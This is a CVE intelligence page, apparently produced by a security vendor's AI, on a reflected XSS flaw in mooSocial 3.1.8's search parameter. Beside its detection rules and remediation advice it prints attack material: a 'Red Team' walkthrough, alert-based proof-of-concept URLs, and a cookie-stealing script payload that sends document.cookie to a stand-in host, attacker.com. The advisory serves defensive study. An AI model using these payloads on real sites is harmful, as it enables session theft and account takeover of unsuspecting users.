☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-45542

CVE-2023-45542 is a reflected Cross-Site Scripting (XSS) vulnerability in mooSocial version 3.
📅 PUBLISHED: 2023-10-16 00:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.64%
👁️
1.64% probability
40.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: Vietnam License: Proprietary
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
INTEL SOURCES NVD CVEProject EPSS Nuclei ✓ HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-45542 is a reflected Cross-Site Scripting (XSS) vulnerability in mooSocial version 3.1.8. The flaw resides in the search functionality, specifically within the q parameter of the /search/index/ endpoint. An unauthenticated remote attacker can craft a malicious URL containing JavaScript payloads in the q parameter. When a victim clicks on such a link, the injected script executes in the context of the victim's browser session, allowing the attacker to steal session cookies, impersonate the victim, or perform other malicious actions. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the mooSocial web application, which is a commercial social networking platform. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to organizations self-hosting mooSocial version 3.1.8.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited information disclosure (e.g., session cookies).
  • Integrity (I): Low (L) – Limited ability to modify content (e.g., via script injection).
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The primary risk is session hijacking and account takeover.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the search functionality of mooSocial 3.1.8. The application fails to properly sanitize or encode user input supplied via the q GET parameter in the /search/index/ endpoint. When a user submits a search query, the value of q is reflected back into the HTML response without proper escaping.

An attacker can craft a URL such as:

http://target.com/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest

When decoded, the q parameter contains:

test"><script>alert(document.domain)</script>test

This breaks out of the HTML context and injects a <script> tag. The browser executes the JavaScript, which in a real attack would be replaced with code to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

The root cause is the lack of output encoding for user-controlled data in the search results page. The application likely uses a templating engine that does not automatically escape HTML entities, or the developer explicitly disabled escaping for this parameter.

Vulnerable vs. Patched Code

Vulnerable Code (mooSocial 3.1.8): The vulnerable code likely exists in a view or controller file handling the search functionality. A simplified example:

// Vulnerable: Directly echoes user input without sanitization
echo "<div class='search-result'>" . $_GET['q'] . "</div>";

Patched Code (Hypothetical): A patched version would properly encode the output using htmlspecialchars() or equivalent:

// Patched: HTML-encode the user input before output
echo "<div class='search-result'>" . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') . "</div>";

Alternatively, the application should validate and sanitize input, rejecting or encoding any HTML/script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running mooSocial 3.1.8.
  • Attacker-controlled server to receive stolen cookies (optional).

Exploit Steps:

  1. Craft a malicious URL with a JavaScript payload in the q parameter. Example payload to steal cookies:
    http://target.com/search/index/?q=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    
  2. URL-encode the payload if necessary (e.g., using Burp Suite or a browser).
  3. Send the crafted link to the victim via email, social media, or other channels.
  4. When the victim clicks the link, the script executes and sends the session cookie to the attacker's server.
  5. The attacker uses the stolen cookie to impersonate the victim.

Example using curl (for testing):

curl -v "http://target.com/search/index/?q=%3Cscript%3Ealert(1)%3C/script%3E"

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for requests to /search/index/ containing suspicious patterns like <script>, alert(, document.cookie, or URL-encoded equivalents.
  • Deploy a Web Application Firewall (WAF) with rules to block reflected XSS payloads in the q parameter.
  • Use the provided Nuclei template to scan for the vulnerability.

Defense:

  • Apply input validation: Reject requests containing HTML tags in the q parameter.
  • Implement output encoding: Use htmlspecialchars() or a templating engine's auto-escaping feature.
  • Set the HttpOnly flag on session cookies to prevent JavaScript access.
  • Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /search/index/ with q parameter containing <script> tags or URL-encoded equivalents.
    • Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).
  • Host IOCs:
    • Web server logs showing requests with patterns like q=<script>, q=%3Cscript%3E, or q=test%22%3e%3cscript%3e.
    • Presence of unexpected JavaScript code in the search results page source.
  • File IOCs:
    • No specific file-based IOCs; the vulnerability is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2023_45542_MooSocial_XSS {
    meta:
        description = "Detects reflected XSS attempts against mooSocial 3.1.8 search functionality"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-45542"
        severity = "medium"
    strings:
        $xss_pattern1 = /q=.*<script[^>]*>.*<\/script>/i
        $xss_pattern2 = /q=.*%3Cscript%3E.*%3C\/script%3E/i
        $xss_pattern3 = /q=.*%22%3e%3cscript%3e/i
        $path = "/search/index/"
    condition:
        $path and ($xss_pattern1 or $xss_pattern2 or $xss_pattern3)
}

Sigma Rule

title: Reflected XSS Attempt Against MooSocial Search
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting mooSocial 3.1.8 search with XSS payloads in the q parameter.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45542
    - https://github.com/ahrixia/CVE-2023-45542
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/search/index/'
        cs-uri-query|contains|all:
            - 'q='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate search queries containing the string '<script' (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-45542 MooSocial Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/search/index/"; http_uri;
    content:"q="; http_uri;
    pcre:"/q=[^&]*<script[^>]*>.*<\/script>/i";
    reference:cve,2023-45542;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2023-45542

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the q parameter in search functionality to steal session cookies and impersonate victim accounts on the MooSocial platform.
  remediation: |
    Update mooSocial to a version newer than 3.1.8 that properly sanitizes the q parameter in search functionality and encodes output to prevent reflected XSS attacks.
  reference:
    - https://github.com/ahrixia/CVE-2023-45542
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45542
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-45542
    cwe-id: CWE-79
    epss-score: 0.43329
    epss-percentile: 0.97518
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "mooSocial")'
        condition: and
# digest: 4a0a00473045022100a1689e4d4b5ec3773deb6134b9dd67653b42537bf498b6c1e780cf38c5ad64cc0220546aa1453c10c3162869f61726b7600484fd35b8784a01065cc6c439ec63c069:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Mitigation:

  1. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> tags in the q parameter.
  2. Input Validation: Implement server-side validation to reject or sanitize the q parameter, stripping HTML tags.
  3. Output Encoding: Ensure the application uses proper HTML entity encoding (e.g., htmlspecialchars() in PHP) when reflecting user input.
  4. Session Security: Set the HttpOnly and Secure flags on session cookies to prevent JavaScript access.
  5. Content Security Policy (CSP): Add a CSP header that restricts script execution to trusted sources only.

Long-Term Fix:

  • Update mooSocial to a patched version once available. As of now, no official patch exists. Contact the vendor for updates or consider migrating to an alternative platform if the vulnerability is critical.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: E7843C394329B296188C15E3] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-45542/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.